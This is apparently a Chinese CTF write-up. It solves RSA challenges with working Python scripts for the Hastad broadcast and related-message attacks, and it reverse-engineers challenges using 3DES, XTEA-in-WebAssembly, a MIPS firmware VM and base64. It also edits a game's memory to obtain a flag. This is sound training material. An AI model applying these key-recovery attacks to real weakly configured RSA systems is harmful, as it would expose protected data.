3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# 第四层
[+]Generating challenge 4
[+]e=3
[+]m=random.getrandbits(512)
[+]n1=0xafa69b2201cdac8c7ca65e2e923e162a6b67be47e0d75d68fe863b41807f52873da023cd7d2b395bb42e4a487c9f548e897f19858d0490e41c61cc4e4d948d85e2d779543dd22889c37f63dd30104b465dee1c0625b3f6b218426edf3112dcf14f8bebf9307cfbe32a6a3e1c82dc821ca7afb1ed751cd77e303c5f53b02e3247L
[+]c1=pow(m,e,n1)=0x844183d6ab43184b3f2272c57d67ee2038b652905a3222759203a7c3cfa613e8fc54a894c045274337da098a7d41604547e37c28442af516bb505e6f4c9b05406daa2311631edd5cb5f6ccfaf0c1f14042a34c232bd6a90209de9a71aedcacf4df897d8cd17604eb4d9c6a27324049e33ebd4c5f5d34dea592819e86e6a64914L
[+]n2=0x30505097dd14611027e2496c0b3d15b7ae71ee564d158b55af2b30dba70b25895c43bd0b9b02c8247a08694e141b8a2b9ebc78347faa4865fdb83ad14956db4bb8d4d5d36f50b592b9fc17c539db5d5986197175ebaeb2de7e1a2f36f8f78e541fa863f41c86c166a8c572f5793e6c7be1ba7ebaea82a176fbd21a1a36331c91L
[+]c2=pow(m,e,n2)=0xc0f31b162b23a7833ffd4542cf4512ee421612324719a051b24ec0e7243a17dc44ea6a5db030cfb85cdc16505416c4cc9a9b7afb9872077e43a656f163fcf2f4a408515c721ebe5bbb38936e11604e958e3e254466a8e2ea85a2855f80262c81034b242ce44a241e7486c3347d68008053ea65a369516f6bf97554a832ce691L
[+]n3=0x4659b6de60b471c8b2d906a1bab55307176bbe26fa66b365dc1c4dfe936e6fa684229a0a05903a61b5024b4aac055f288d80b2c56b84224c57000f7dd4f9fdace70d528475a2643bdde7ee72bfedd3dc131a52ae05a5024a10b4c8ad6508f0524e314c61eeec1b15ceba83199b2bcfa76161f20fa936fb8bd26eaaa81f0f5383L
[+]c3=pow(m,e,n3)=0x181f643f693a975c18a93255e2ab97e29d47a1b0d5f11563048a8688fbc3ab430be76267859b965fcf4fc1b760d268e8af06a10b1b73a67f18e9adebdbb14a46c43d510eccca55e530cb4099751fbb0a3a61bb3787e36507f191687bd927e9b5b34813bc0ee180b5a39459593b0180cc748db15ecd3d262ad9a1f013c9d78735L
[-]long_to_bytes(m).encode('hex')=$
2
3
4
5
6
7
8
9
10
广播攻击
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import gmpy2
n = [
0xafa69b2201cdac8c7ca65e2e923e162a6b67be47e0d75d68fe863b41807f52873da023cd7d2b395bb42e4a487c9f548e897f19858d0490e41c61cc4e4d948d85e2d779543dd22889c37f63dd30104b465dee1c0625b3f6b218426edf3112dcf14f8bebf9307cfbe32a6a3e1c82dc821ca7afb1ed751cd77e303c5f53b02e3247,
0x30505097dd14611027e2496c0b3d15b7ae71ee564d158b55af2b30dba70b25895c43bd0b9b02c8247a08694e141b8a2b9ebc78347faa4865fdb83ad14956db4bb8d4d5d36f50b592b9fc17c539db5d5986197175ebaeb2de7e1a2f36f8f78e541fa863f41c86c166a8c572f5793e6c7be1ba7ebaea82a176fbd21a1a36331c91,
0x4659b6de60b471c8b2d906a1bab55307176bbe26fa66b365dc1c4dfe936e6fa684229a0a05903a61b5024b4aac055f288d80b2c56b84224c57000f7dd4f9fdace70d528475a2643bdde7ee72bfedd3dc131a52ae05a5024a10b4c8ad6508f0524e314c61eeec1b15ceba83199b2bcfa76161f20fa936fb8bd26eaaa81f0f5383
]
C = [
0x844183d6ab43184b3f2272c57d67ee2038b652905a3222759203a7c3cfa613e8fc54a894c045274337da098a7d41604547e37c28442af516bb505e6f4c9b05406daa2311631edd5cb5f6ccfaf0c1f14042a34c232bd6a90209de9a71aedcacf4df897d8cd17604eb4d9c6a27324049e33ebd4c5f5d34dea592819e86e6a64914,
0xc0f31b162b23a7833ffd4542cf4512ee421612324719a051b24ec0e7243a17dc44ea6a5db030cfb85cdc16505416c4cc9a9b7afb9872077e43a656f163fcf2f4a408515c721ebe5bbb38936e11604e958e3e254466a8e2ea85a2855f80262c81034b242ce44a241e7486c3347d68008053ea65a369516f6bf97554a832ce691,
0x181f643f693a975c18a93255e2ab97e29d47a1b0d5f11563048a8688fbc3ab430be76267859b965fcf4fc1b760d268e8af06a10b1b73a67f18e9adebdbb14a46c43d510eccca55e530cb4099751fbb0a3a61bb3787e36507f191687bd927e9b5b34813bc0ee180b5a39459593b0180cc748db15ecd3d262ad9a1f013c9d78735
]
#N = n1*n2*n3…n19
N = 1
for i in n:
N *= i
#Ni = N/ni
Ni = []
for i in n:
Ni.append(N/i)
#ti*Ni == 1 mod ni
T = []
for i in xrange(3):
T.append(long(gmpy2.invert(Ni[i], n[i])))
#X = (c1*t1*N1)%N + (c2*t2*N2)%N + … + (ci*ti*Ni)%N
X = 0
for i in xrange(3):
X += C[i]*Ni[i]*T[i]
#m**19 = X
m3 = X % N
m,b = gmpy2.iroot(m3,3)
print hex(int(m))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 第五层
[+]Generating challenge 5
[+]n=0x5d06d350f270f968bbd76e1ba94adbf1fe566a92665b3418574fe95ae553744216e097450abac2a28330575645dbf1c4e0a89d2405485dce96cc8ddbcb249bf88bd8cb18f942d5853544a7e6828b62ce6292138d503a8134640f33948c1478a7825a7444acfc5c5f38f8ba53e5193a9513c104db4ed47bbe6dc1157f8e6fee3L
[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x299c9afd0f50af728127963f48fc5f132b8a2f5f91a0dee15bef79fc2ee5e5d4b813c409c14f796b8fef84c8a49ad0affb59b9b0bb068c14e005428c35a54093b3103d93360a040a78bc5dfbbb9889a61e0b3e3fd94f5542519c6f2eaf669059e7d6cbce1083fd0777d5ee61d19e1fe4684ebcf13d5d64c3fccf87efa76f942L
[+]x=pow(m+1,e,n)=0x5b775448be0156a73ade0d637bef267106cd5595419a147ceea2df26d0356d425c26a4c4fb925352d2cdb9006827f3ec1f4c6e552530165a2edae43bc4c7968a8bf8d881cc54f1a56a6b003a1cda89659953493500d13e7b63da975b3f2b7489431048c5e57cdba5dc41991bf8e65a8232db3d233bf5c951531b5e5cb386328L
[-]long_to_bytes(m).encode('hex')=$
2
3
4
5
6
7
8
9
Related Message Attack,两明文存在线性关系时使用
import gmpy2
p1=1
p2=0
#0\n
c2 =0x299c9afd0f50af728127963f48fc5f132b8a2f5f91a0dee15bef79fc2ee5e5d4b813c409c14f796b8fef84c8a49ad0affb59b9b0bb068c14e005428c35a54093b3103d93360a040a78bc5dfbbb9889a61e0b3e3fd94f5542519c6f2eaf669059e7d6cbce1083fd0777d5ee61d19e1fe4684ebcf13d5d64c3fccf87efa76f942
#1\n
c1 =0x5b775448be0156a73ade0d637bef267106cd5595419a147ceea2df26d0356d425c26a4c4fb925352d2cdb9006827f3ec1f4c6e552530165a2edae43bc4c7968a8bf8d881cc54f1a56a6b003a1cda89659953493500d13e7b63da975b3f2b7489431048c5e57cdba5dc41991bf8e65a8232db3d233bf5c951531b5e5cb386328
n =0x5d06d350f270f968bbd76e1ba94adbf1fe566a92665b3418574fe95ae553744216e097450abac2a28330575645dbf1c4e0a89d2405485dce96cc8ddbcb249bf88bd8cb18f942d5853544a7e6828b62ce6292138d503a8134640f33948c1478a7825a7444acfc5c5f38f8ba53e5193a9513c104db4ed47bbe6dc1157f8e6fee3
a = 1
b = p1-p2
def getmessage(a, b, c1, c2, n):
b3 = gmpy2.powmod(b, 3, n)
part1 = b * (c1 + 2 * c2 - b3) % n
part2 = a * (c1 - c2 + 2 * b3) % n
part2 = gmpy2.invert(part2, n)
return part1 * part2 % n
message = getmessage(a, b, c1, c2, n) -p2
print message
message = hex(message)[2:]
print message
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 第六层
[+]Generating challenge 6
[+]n=0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L
[+]d=random.getrandbits(1024*0.270)
[+]e=invmod(d,phin)
[+]hex(e)=0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866cL
2
3
4
5
6
7
Boneh and Durfee attack,使用https://github.com/mimoo/RSA-and-LLL-attacks (opens new window)上脚本即可
# 参考链接
https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_coppersmith_attack/#_1 (opens new window) https://code.felinae98.cn/ctf/crypto/rsa%E5%A4%A7%E7%A4%BC%E5%8C%85%EF%BC%88%E4%BA%8C%EF%BC%89coppersmith-%E7%9B%B8%E5%85%B3/ (opens new window) https://sagecell.sagemath.org/ (opens new window) https://github.com/maojui/Cytro (opens new window)
# 鲲or鳗orGame
先从游戏页面的 mobile.js 里找到游戏源文件rom/game.gb
,linux 上下一个模拟器,这里用的是 mgba-qt,用它带的 memory search 搜索游戏分数,定位到地址 dfdd
在游戏开始的时候 ctrl+p 暂停游戏,更改 dfdd 改为 FF,自杀再玩一次拿到 flag
# JustRe
# 太长不看
输入,过两个检查函数,输出输入的 flag。第一个检查是一个线性函数,爆破位数较小的参数,第二个检查是 3DES 解密之后逐字节比较。
# check1
输入的前八字符判断是否属于[0-9A-Z]然后按照 16 进制读取成 4 字节,然后重复四次,放入 xmm 变量 part1,这里其实存在一个漏洞,如果输入的字符在[G-Z]之间,实际上导致了多解。
之后是一段和前面比较相似的流程,将(输入 flag 的第九字节的 ascii 码乘上 16)加上(第十字节按 16 进制解释),得到的值截取一字节,重复 16 次,放入 xmm 变量 part2
然后是一段运算,这里使用的 4053C4 这个量来自于库函数写入的全局变量,推测是和 cpu 对于 sse 指令集的支持有关,观察这段指令,如果执行了 if 块中的内容,从 Buffer 地址开始的 4 个 128 位的部分会被写入,然后循环变量 v20 会被设置为 24,v20 在 i32 数组中用作下标,所以
4*(128/8)==16*4(sizeof i32)
也就是说此处 if 块中的操作应该与下方 dowhile 的完全相同,那么从比较清晰的 dowhile 来看,这里是将前面流程 flag 第一部分算出的四字节量、第二部分算出的一字节量、当前循环轮数和一个常量数组进行了线性运算,再往下的流程里对运算的结果和一个常量数组进行了逐位比较,所以这里的目标就是让运算结果和常量数组一致。 这里因为每个方程里有两个未知数,其中一个是只有一字节的,所以可以爆破
int i0 = 0x79B19266;int o0 = 0x83EC8B55;
int i1 = 0xE88EBBB6;int o1 = 0xEC81F0E4;
int i2 = 0xFC0D093B;int o2 = 0x00000278;
for (int j = -128; j != 128; j++) {
int flag = o0 ^ ((0x01010101 * j) + i0);
if (o1 == ((flag + 1) ^ (0x01010101 * j + i1))
&& o2 == ((flag + 2) ^ (0x01010101 * j + i2)))
cout << flag <<' '<<j<< endl;
}
2
3
4
5
6
7
8
9
跑出一组,按照前面分析的对应关系还原成 flag 即可。
过了 check 有个奇怪的xor eax, eax; mov [eax], eax;
会尝试写 0 地址,几乎必定导致程序崩溃,patch 掉它就好,然后会把之前的常量数组写到 check2 的开头,但是和 check2 原有的代码没有差别,所以估计是忘改了?
# check2
开头给了一个奇怪的可见字符串,长度 24。初始化了一些空间,然后把这个 24 的字符串每 8 字符(和三块不同空间)分别调用了同一个函数。然后将 flag 从 10 开始的部分复制到一个新空间,v2 = strlen(flag_part);memset(&Dst[v2], (8 - v2 % 8), 8 - v2 % 8);
非常像是 PKCSpadding。
之后,以八字节为单位,对 padding 后的 flag 和之前生成的三个空间进行了一些运算。运算中出现了 0x3333 0x5555 0xF0F0 这样的对特定位取值的魔数。同时有一个这样的调用->
(注:这个库是打过 patch 的,原来这里的调用是 101 加解加 对应的是加密过程) 这就比较像 3DES 了,然后搜索魔数确定算法确实是 3DES。接下来两条路,
- 修改 3DES 三次调用加密变解密
- 加密流程:加密(key0);解密(key1);加密(Key2);
- 解密流程:解密(key2);加密(key1);解密(Key0);
- 网上找个 3DES 解密工具先试试,结果直接出来了,将两部分拼起来即为 flag。
# Webassembly
# 太长不看
js 上的 WebAssembly,XTEA 加密后逐字节比较。IDA 牛逼!!!
# _main
int __cdecl main(int argc, const char **argv, const char **envp)
{
......//略去一些内容
f54(v5, v4);//动调发现这个函数做了输入
g7 = v4;
f15(v3);//结果的输出在这个函数里,所以猜测判断在这里
g7 = v3;
--wasm_rt_call_stack_depth;
return 0;
}
2
3
4
5
6
7
8
9
10
# f15
函数中有几个下面这样的片段,而且多次地对 V54 这个恒为 0 的数组做取值,猜测是某种常见的加密算法。
v43 = 0;
v39 = i32_load(Z_envZ_memory, a1 + 12);//相当于 v39=*(int *)(((char *)a1)+12);
v47 = i32_load(Z_envZ_memory, a1 + 8);//从wasm转换成c代码导致的
v50 = 0;
do
{
v47 += ((unsigned __int64)i32_load(Z_envZ_memory, v54 + 4 * (v43 & 3)) + v43) ^ (((v39 >> 5) ^ 16 * v39) + v39);
v43 -= 0x61C88647;//魔数
v39 += ((unsigned __int64)i32_load(Z_envZ_memory, v54 + 4 * ((v43 >> 11) & 3)) + v43) ^ (((v47 >> 5) ^ 16 * v47)+ v47);
++v50;//循环变量
}
while ( v50 != 32 );
2
3
4
5
6
7
8
9
10
11
12
又做了一些搜索之后(搜索了移位的常量 5 11),我找到了这个:XTEA 算法
void encipher(uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < 32; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
2
3
4
5
6
7
8
9
10
然后就是解密了,因为这次修改了算法的魔数,所以网上找解密工具是没用了,找份源码改掉魔数试试。
# 设备固件
# 太长不看
mips 架构,两个检查函数,第一个是简单的比较,第二个里面是个 vm,指令集只有取数据、简单运算、比较和跳转,检查逻辑大约相当于: Const[i]=(((0x10<<8)+0x24+((i)*(i+1))/2)*flag[i])>>6
# main
输入用户名密码,分别存在同一个 0x50 的前后 0x28 空间中
# chk1
uint chk1(char *pcParm1)//输入字符串
{
char cVar1;
int iVar2;
char *pcVar3;
iVar2 = ((int)pcParm1[4] ^ 0x32U) + ((int)pcParm1[3] ^ 99U) + ((int)pcParm1[2] ^ 0x65U) + ((int)pcParm1[1] ^ 0x65U) + ((int)*pcParm1 ^ 0x30U);//逐位异或结果求和
pcVar3 = pcParm1 + 5;//第字符6开始
do {
cVar1 = *(pcVar3++);
iVar2 += (int)cVar1;//加到比较变量上
} while (pcVar3 != pcParm1 + 0x28);//等于缓冲区长度
return (iVar2 == 0);//结果是0所以所有加的数都是零。
}
2
3
4
5
6
7
8
9
10
11
12
13
# chk2
int chk2(int iParm1)//还是传入的字符串
{
char *arr;
int iVar1;
int *const_ARR;
char *_pass;
int *tran_const;
short *tran_pass;
int uVar2;
arr = (char *)malloc(0x100);//保存了虚拟状态
const_ARR = null_ARRAY_00411040;//指向地址0x411040的int[32]数组
*(int *)arr = 0;
_pass = (char *)(iParm1 + 0x28);//指向输入的密码 实际长度只有32
tran_pass = (short *)(arr + 0x10);//指向虚拟机状态结构体 short[40]数组
tran_const = (int *)(arr + 0x60);//指向虚拟机状态 保存常量的int[32]数组
do {
uVar2 = *const_ARR;//取040数组当前量
const_ARR = const_ARR + 1;//指针指向下一个
*tran_pass = (short)*_pass;//取密码数组第一个 拓宽到short放入short数组
_pass = _pass + 1;//密码指针指向下一个
*tran_const = uVar2;//常量数组放入040数组的一个量
tran_pass = tran_pass + 1;//移动放密码的指针
tran_const = tran_const + 1;//移动常量的指针
} while (const_ARR != (int *)null_ARRAY_ARRAY_004110c0);//实际复制040到0c0 32轮
*(int *)(arr + 8) = 0x4110c0;
*(int *)(arr + 0xc) = 0x4111c0;
iVar1 = FUN_00400800(arr);//虚拟机执行
return iVar1;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
通过分析函数 FUN_00400800,确定了以下内容,其中,如果某条指令的“条件标记”不为零,那么在执行指令之前会检查此处的条件标记和 p 判零寄存器是否相等 arr 结构
偏移 | 类型 | 名称 | 用途 |
---|---|---|---|
0x00 | int | X | 指令指针寄存器 |
0x04 | int | ZF | 判零寄存器 |
0x08 | CODE* | 4110c0 | 代码指针 |
0x0c | int* | 4111c0 | 变量空间 |
0x10 | short[40] | tran_pass | 密码扩充成 short |
0x60 | int[32] | const_ARR | 411040 中的常量 |
虚拟机指令
操作码 | 条件标记 | 第一参数 | 第二参数 |
---|---|---|---|
1 字节 | 1 字节 | 2 字节 | 2 字节 |
VM 中模拟的寄存器有以下几个: 返回值 AX 指令位置 IP 通用寄存器 R0-R9RA-RF 判零寄存器 ZF 下面是逆向出的指令 (符号为之后的伪码部分使用的助记符)
操作码 | 符号 | num1 | num2 | 行为 |
---|---|---|---|---|
0x01 | add | 寄存器 | 寄存器 | num1+=num2 |
0x02 | sub | 寄存器 | 寄存器 | num1-=num2 |
0x03 | cmp | 寄存器 | 寄存器 | ZF=(num1==num2?1:2) |
0x04 | jmp | 立即数 | - | IP+=num1 |
0x05 | mov | 寄存器 | 寄存器 | num1=num2 |
0x06 | - | 寄存器 | - | num1=IP |
0x07 | - | 寄存器 | - | IP=num1 |
0x08 | - | 寄存器 | 立即数 | num1=nmu2 |
0x09 | ret | - | - | 返回 0 |
0x0A | load | 寄存器 | 寄存器 | num1=tran_pass[num2] |
0x0B | load | 寄存器 | 寄存器 | num1=const_ARR[num2] |
0x0C | xor | 寄存器 | 寄存器 | num1^=num2 |
0x0D | imul | 寄存器 | 寄存器 | num1*=num2 |
0x0E | DIV | 寄存器 | 寄存器 | num1/=num2 |
0x0F | shl | 寄存器 | 寄存器 | num1<<=num2 |
0x10 | shr | 寄存器 | 寄存器 | num1>>=num2 |
0xFF | ret | - | - | 返回 1 |
然后根据这些内容分析 4110c0 中的代码,得到:
地址 | 数据 | 指令 |
---|---|---|
004110c0 | 08 00 00 00 20 00 | mov R0, 0x20 |
004110c6 | 08 00 01 00 00 00 | mov R1, 0x00 |
004110cc | 08 00 02 00 01 00 | mov R2, 0x01 |
004110d2 | 03 00 01 00 00 00 | cmp R1, R0 |
004110d8 | 04 01 16 00 00 00 | jz +0x16 |
004110de | 08 00 0b 00 00 00 | mov RB, 0x00 |
004110e4 | 08 00 0c 00 00 00 | mov RB, 0x00 |
004110ea | 01 00 0c 00 0b 00 | add RB, RB |
004110f0 | 03 00 0b 00 01 00 | cmp RB, R1 |
004110f6 | 01 00 0b 00 02 00 | add RB, R2 |
004110fc | 04 02 fc ff 00 00 | jnz -0x04 |
00411102 | 08 00 03 00 08 00 | mov R3, 0x08 |
00411108 | 08 00 04 00 06 00 | mov R4, 0x06 |
0041110e | 08 00 09 00 10 00 | mov R9, 0x10 |
00411114 | 0f 00 09 00 03 00 | shl R9, R3 |
0041111a | 08 00 0a 00 24 00 | mov Ra, 0x24 |
00411120 | 01 00 09 00 0a 00 | add R9, Ra |
00411126 | 01 00 09 00 0c 00 | add R9, RB |
0041112c | 0a 00 05 00 01 00 | LOAD R5, R1 //_pass |
00411132 | 0d 00 05 00 09 00 | imul R5, R9 |
00411138 | 05 00 06 00 05 00 | mov R6, R5 |
0041113e | 10 00 06 00 04 00 | shr R6, R4 |
00411144 | 0b 00 07 00 01 00 | LOAD R7, R1 //_const |
0041114a | 03 00 06 00 07 00 | cmp R6, R7 |
00411150 | 01 00 01 00 02 00 | add R1, R2 |
00411156 | 04 01 e9 ff 00 00 | jz -0x17 |
0041115c | 04 02 01 00 00 00 | jnz +1 |
00411162 | ff 00 00 00 00 00 | ret 1 |
00411168 | 09 00 00 00 00 00 | ret 0 |
0041116e | ff 00 00 00 00 00 | ret 1 |
分析这份代码,逻辑大约如下,爆破拿 flag(直接除法算好像莫名有点误差)
const_ARR[i]=(((0x10<<8)+0x24+((i)*(i+1))//2 )*tran_pass[i])>>6
# 强网先锋-AD
直接拖入 ida,查看字符串,发现
我们的输入经过 sub_4005b7 变换之后的结果和已有常量相等就可以通过。 在这个 sub 当中,可以看到和标准 base64 特征很像的块: << 2,4,6,又是前面字符串中 ABCD…+/的表,可以判断是应该是一个 base64,先直接按照标准的进行解密: